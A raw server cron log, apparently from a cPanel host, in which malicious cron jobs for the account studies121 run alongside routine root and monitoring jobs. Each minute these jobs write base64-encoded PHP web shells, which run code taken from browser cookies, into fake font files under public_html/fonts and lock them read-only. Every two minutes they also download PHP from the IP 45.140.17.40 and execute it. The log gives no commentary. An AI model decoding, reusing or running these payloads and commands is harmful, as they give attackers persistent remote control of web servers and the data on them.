Sep  2 22:07:01 ip-184-168-122-23 CROND[19353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:07:01 ip-184-168-122-23 CROND[19352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:08:01 ip-184-168-122-23 CROND[19808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:08:01 ip-184-168-122-23 CROND[19810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:08:01 ip-184-168-122-23 CROND[19812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:08:01 ip-184-168-122-23 CROND[19811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:08:01 ip-184-168-122-23 CROND[19813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:09:01 ip-184-168-122-23 CROND[19983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:09:01 ip-184-168-122-23 CROND[19982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:09:01 ip-184-168-122-23 CROND[19985]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 22:09:01 ip-184-168-122-23 CROND[19984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:09:01 ip-184-168-122-23 CROND[19986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:10:01 ip-184-168-122-23 CROND[20081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:10:01 ip-184-168-122-23 CROND[20083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:10:01 ip-184-168-122-23 CROND[20084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:11:01 ip-184-168-122-23 CROND[20172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:11:01 ip-184-168-122-23 CROND[20173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:11:01 ip-184-168-122-23 CROND[20175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:11:01 ip-184-168-122-23 CROND[20174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:12:01 ip-184-168-122-23 CROND[20250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:12:01 ip-184-168-122-23 CROND[20252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:12:01 ip-184-168-122-23 CROND[20253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:12:01 ip-184-168-122-23 CROND[20254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:12:01 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:13:01 ip-184-168-122-23 CROND[20338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:13:01 ip-184-168-122-23 CROND[20339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:13:01 ip-184-168-122-23 CROND[20340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:13:01 ip-184-168-122-23 CROND[20341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:14:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:14:01 ip-184-168-122-23 CROND[20417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:14:01 ip-184-168-122-23 CROND[20418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:14:01 ip-184-168-122-23 CROND[20419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:14:01 ip-184-168-122-23 CROND[20420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20597]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:15:02 ip-184-168-122-23 CROND[20600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:15:02 ip-184-168-122-23 CROND[20601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:16:01 ip-184-168-122-23 CROND[20692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:16:01 ip-184-168-122-23 CROND[20693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:16:01 ip-184-168-122-23 CROND[20694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:16:01 ip-184-168-122-23 CROND[20696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:16:01 ip-184-168-122-23 CROND[20700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:16:01 ip-184-168-122-23 CROND[20698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:17:01 ip-184-168-122-23 CROND[20784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:17:01 ip-184-168-122-23 CROND[20785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:17:01 ip-184-168-122-23 CROND[20786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:17:01 ip-184-168-122-23 CROND[20787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:18:01 ip-184-168-122-23 CROND[20868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:18:01 ip-184-168-122-23 CROND[20871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:18:01 ip-184-168-122-23 CROND[20869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:18:01 ip-184-168-122-23 CROND[20870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:18:01 ip-184-168-122-23 CROND[20872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:19:01 ip-184-168-122-23 CROND[20995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:19:01 ip-184-168-122-23 CROND[20996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
